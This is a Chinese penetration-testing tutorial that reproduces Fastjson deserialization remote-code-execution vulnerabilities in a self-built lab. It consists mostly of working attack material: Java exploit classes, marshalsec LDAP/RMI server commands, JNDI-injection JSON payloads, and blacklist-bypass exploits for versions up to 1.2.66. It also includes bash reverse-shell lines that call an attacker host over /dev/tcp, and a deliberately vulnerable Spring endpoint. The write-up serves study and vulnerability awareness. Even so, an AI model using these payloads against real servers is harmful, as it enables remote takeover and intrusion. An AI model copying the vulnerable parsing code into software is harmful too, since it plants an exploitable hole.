渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
今天会讲解到学习Windows环境使用IDEA详细复现fastjson 1.2.24 反序列化漏洞、Fastjson 1.2.47 远程命令执行漏洞、Windows环境使用IDEA详细复现fastjson 1.2.47 反序列化漏洞、追溯历史漏洞情况等等操作,如果连Fastjson都不会安装操作提权等,怎么拿下对方服务器?
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
(1)创建controller.Login 它是一个控制器是一个路由用于解析请求
controller.Login.java:
@Controller
public class Login {
@RequestMapping(value = "/fastjson", method = RequestMethod.POST)
@ResponseBody
public JSONObject test(@RequestBody String data) {
JSONObject obj = JSON.parseObject(data);
JSONObject result = new JSONObject();
result.put("code", 200);
result.put("message", "success");
result.put("data", "Hello " + obj.get("name"));
return result;
}
}
目前有14个报错!后面解决!
(2)model.User 它是一个用户类 包含一些属性用于fastjson与数据对应解析
model.User.java:
public class User {
public String name;
public int age;
public String id_card;public String getName() {
return name;
}public void setName(String name) {
this.name = name;
}public int getAge() {
return age;
}public void setAge(int age) {
this.age = age;
}public String getId_card() {
return id_card;
}public void setId_card(String id_card) {
this.id_card = id_card;
}}
目前有1个报错,后面解决!
(1)解决controller.Login.java报错问题
在JSON报错处建议手动添加:
import com.alibaba.fastjson.JSON;
(2)解决model.User.java报错问题
成功解决15个问题!
(1)启动springboot项目
成功启动!
(2)验证是否可执行一:
向这个地址POST一个JSON对象,即可更新服务端的信息:
curl http://192.168.253.112:8080/fastjson -H "Content-Type: application/json" --data '{"name":"dayu", "age":20}'
这是vulhub的验证方法!
(3)验证是否可执行二:
对我们搭建的项目也可以进行这么验证:
{
"@type": "com.example.demo.model.User",
"name": "dayu",
"age": 22,
"id_card": "12121"
}
@type是用于fastjson找到数据对应的类,下面的是User的属性值,既然要实例一个用户,并且有属性值,就要调用set和get方法,只要满足特定条件的,每个get方法都会被调用!
这里可以看到成功解析了数据!!
RMI < 8u121、LDAP < 8u182(本文复现使用LDAP)
(1)编写Exploit
public class Exploit {
public Exploit (){
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
然后使用javac进行编译成class:
javac Exploit.java
和前面方法一样!
(2)开启http服务(必须在class目录下开启)
python -m SimpleHTTPServer 80
(3)使用marshalsec构建ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.253.9/#Exploit" 9999
这里要端口一致性!
(4)BP抓包进行远程执行:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.253.9:9999/Exploit",
"autoCommit":true
}
成功执行!
成功远程代码执行,反弹出了计算机!
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.253.9/#Exploit" 9999
记得执行marshalsec为rmi类型!
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.253.9:9999/Exploit",
"autoCommit":true
}
}
可看到失败的,我们回头看看:
RMI < 8u121、LDAP < 8u182(本文复现使用LDAP)
这里很好的提供了RMI的利用限制,必须是java8低于121的版本!
看看我们IDEA搭建使用的java版本:
这里使用的是1.8_161明显超过了121,所以无法使用RMI执行反序列化远程代码!
(1)漏洞原理:
Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
(2)影响版本:
Fastjson < 1.2.47
开启FastJson漏洞并验证:
sudo docker-compose up -d
sudo docker ps
(1)访问靶机:
http://192.168.253.7:8090/
(2)exploit创建并编译
目标环境是openjdk:8u102
,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase
的限制,我们可以简单利用RMI进行命令执行。
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;public class dayu {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/dayutest"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
成功编译class!!
(3)marshalsec开启
我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类dayu.class:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.253.9/#dayu" 9999
(4)向靶场服务器发送Payload:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.253.9:9999/dayu",
"autoCommit":true
}
}
(5)成功交互
可以看到成功执行!
"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.253.9/8899 0>&1"
编译class:
成功交互:
记得先进行业务关闭在更新jar包:
成功部署!
验证漏洞:
curl http://192.168.253.112:8080/fastjson -H "Content-Type: application/json" --data '{"name":"dayu", "age":20}'
搭建marshalsec:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.253.9/#Exploit" 9999
执行poc:
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.253.9:9999/Exploit","autoCommit":true}}}
成功执行!
附上payload:
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});
//Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}p.waitFor();
is.close();
reader.close();
p.destroy();
}public static void main(String[] args) throws Exception {
}
}
第一个Fastjson反序列化漏洞爆出后,阿里在1.2.25版本设置了autoTypeSupport属性默认为false,并且增加了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。
com.sun.rowset.JdbcRowSetImpl在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名再加载进来,因此在原类名头部加L,尾部加;即可绕过黑名单的同时加载类。
exp:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
fastjson在1.2.42版本新增了校验机制。
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME == 0x9195c07b5af5345L)
{
throw new JSONException("autoType is not support. " + typeName);
}
// 9195c07b5af5345
className = className.substring(1, className.length() - 1);
}
如果输入类名的开头和结尾是L和;就将头和尾去掉,再进行黑名单验证。
还把黑名单的内容进行了加密,防止安全人员进行研究,增加了研究的门槛。
但是有人已在Github上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist
绕过方法,在类名外部嵌套2层L;。
原类名:com.sun.rowset.JdbcRowSetImpl
绕过:LLcom.sun.rowset.JdbcRowSetImpl;;
exp:
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。
使用黑名单绕过,org.apache.ibatis.datasource在1.2.46版本被加入了黑名单
由于在项目中使用的频率也较高,所以影响范围较大。
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
2019年护网爆出的漏洞,对版本小于1.2.48的版本通杀,autoType为关闭状态也可使用。
loadClass中默认cache设置为true,利用分为2步执行,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl这个类,绕过了黑名单机制。
exp:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://x.x.x.x:1098/jndi",
"autoCommit": true
}
}
基于黑名单绕过exp:
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";
关于fastjson<=1.2.66网上相关的利用不多,收集到的几个exp,也是基于黑名单绕过。
exp:
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
今天学到Windows环境使用IDEA详细复现fastjson 1.2.24 反序列化漏洞、Fastjson 1.2.47 远程命令执行漏洞、Windows环境使用IDEA详细复现fastjson 1.2.47 反序列化漏洞、追溯历史漏洞情况等等操作,最后远程代码执行控制服务器等操作,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!来巩固告知企业单位的漏洞情况,并尽快进行加固巩固安全!
服务攻防之数据库Mysql(上)-> 服务攻防之数据库Mysql(下)-> 服务攻防之数据库MSSQL(上)-> 服务攻防之数据库MSSQL(中)-> 服务攻防之数据库MSSQL(下)-> 服务攻防之数据库Oracle(上)-> 服务攻防之数据库Oracle(下)-> 服务攻防之数据库Redis(上)-> 服务攻防之数据库Redis(下)-> 服务攻防之数据库Mongodb(上)-> 服务攻防之数据库Mongodb(下)-> 服务攻防之中间件IIS(上)-> 服务攻防之中间件IIS(下)-> 服务攻防之中间件Apache(总)-> 服务攻防之中间件Nginx(总)-> 服务攻防之中间件Tomcat(上)-> 服务攻防之中间件Tomcat(下)-> 服务攻防之中间件JBoss(上)-> 服务攻防之中间件JBoss(中)-> 服务攻防之中间件JBoss(下)-> 服务攻防之中间件Weblogic(上)-> 服务攻防之中间件Weblogic(下)-> 服务攻防之中间件GlassFish(总)-> 服务攻防之中间件WebSphere(总)-> 服务攻防之框架Struts2(上)-> 服务攻防之框架Struts2(下)-> 服务攻防之框架Thinkphp(总)-> 服务攻防之框架Shiro(总)-> 服务攻防之框架Spring(上)-> 服务攻防之框架Spring(下)-> 服务攻防之框架FastJson(上)-> 服务攻防之框架FastJson(下)......
服务攻防到这里就结束了,接下来开启新的篇章无线攻防,敬请期待!
希望大家提高安全意识,没有网络安全就没有国家安全!
今天基础牢固就到这里,虽然基础,但是必须牢记于心。
作者:大余
推荐阅读